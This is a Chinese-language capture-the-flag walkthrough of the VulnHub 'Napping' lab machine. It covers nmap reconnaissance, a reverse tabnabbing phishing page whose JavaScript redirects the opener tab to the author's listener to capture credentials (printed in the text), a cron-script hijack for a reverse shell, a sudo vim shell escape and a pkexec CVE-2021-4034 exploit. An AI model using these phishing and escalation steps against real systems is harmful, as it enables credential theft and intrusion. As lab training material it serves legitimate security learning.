Vulnhub-napping
1.信息收集
先用arp-scan探测出靶机地址
arps-scan -l
显然靶机地址 10.1.1.106,然后利用nmap进行详细信息收集
nmap -A 10.1.1.106
可以看到,目标的端口开放情况
22:ssh
80 http
2.漏洞利用
对于22端口的利用 肯定想到的是对root进行弱口令
这里我们首先访问80端口看一下:
是一个登录界面,查看源码也没发现什么,并且这里尝试爆破无果,因为反回的是
也没法爆破用户名,所以这里我们注册一个用户然后看有什么功能点
钓鱼攻击
进去之后是这样一个页面,当你输入一个url时他会进行访问,写道这里我的第一思路就是xss然后盗取cookie,但是简单写了一个xss反弹到本地的发现获取不到cookie,所以先就这样
尝试输入一个连接
发现这里的超链接的打开方式target=_blank,并且没有设置rel="noopener",所以这里可能存在Reverse Tabnabbing 的钓鱼攻击,具体参考链接:
https://xz.aliyun.com/t/7080?page=1
了解了Reverse Tabnabbing的钓鱼攻击后接下来我们的思路就是
1.复制网站登录界面
两种方式
-
CTRL+S直接保存
-
查看源码复制粘贴
-
wget url 直接下载
这里我们直接源码复制粘贴到靶机上
这里就相当于上述文章中的C页面 所以我们接下来还需要写一个B页面 并且在B页面里写JS控制A页面,B页面代码如下
<html>
<script>
if(windwo.opener) window.opener.location="http://10.1.1.2:6666/index.html";
else alert("NO");
</script>
</html>
这里我们B页面和C页面都准备好了 这里我们选择用python搭建临时服务器来把我们的页面映射出来
python3搭建临时服务器
python3 -m http.server port
这里只把B页面用python临时服务器映射出来 然后nc本地监听6666端口
最终的到账号密码
username:daniel
password:C@ughtm3napping123
这里的话我本来是用python的临时服务器把B和C页面都给映射了出来,然后准备看日志,但是结果是靶机提交的POST方法无法看完整的日志,就没有具体的信息,所以需要开两个服务,但是这里其实并没有把C给映射出来 我猜测是靶机设置的缘故,检测到B中的跳转的URL就直接控制发包了,实战之中的话可以再设置一个页面来进行接受消息并且把钓鱼页面做一个点击跳转的功能,就是输入完账号密码提示输入错误 然后跳转到官方页面
接下来我们利用钓鱼到的账号密码进行尝试登录
登录失败,尝试ssh登录
3.本地提权
1.sudo提权
登陆的用户是属于administrators用户组,利用find命令查看一下可写的文件,发现adrian用户目录下的query.py文件是写的
find / -group administrators -type f 2>/dev/null
,
query.py文件是属于另一个用户的 即 adrian,同目录下也有别的文件
分别看下里面都有什么
- query.py
这个脚本是检测网站是否存活,然后不停向site_status.txt写入文件
- site_status.txt
里面都是写入的一些日志,很明显可以看出这里时间间隔是两分钟,也就是说肯定存在一个计划任务,每两分钟就启动一次query.py脚本,而我们有query.py的权限,直接让他运行一个sh脚本就可以拿到adrian权限
- user.txt
权限不够,只有adrian/root才可以查看
所以根据上述的思路 在query.py中写入如下内容
并且在攻击机上开启监听,稍等一会后得到反弹shell
这里可以提升一下我们的shell
Then we can upgrade our shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
then pressCtrl+Z
stty raw -echo;fg
then pressENTER
twiceexport TERM=xterm
查看一下user.txt,一个有意思的提示
看一下计划任务,确实 印证了我们的猜想
crontab -l
查看一下我们sudo权限,一个令人愉快的NOPASSWD:/usr/bin/vim
sudo -l
所以这里利用vim提权
sudo /usr/bin/vim -c ':!/bin/sh'
或者
sudo vim
:shell
最后得到权限
完结:
2.pkexec提权
- pkexec本地特权提升漏洞(CVE-2021-4034)
查看一下pkexec的版本,对照一下版本表,可以一键梭哈
因为靶机上有python环境 所以直接用python版本的exp打一下,上传后直接运行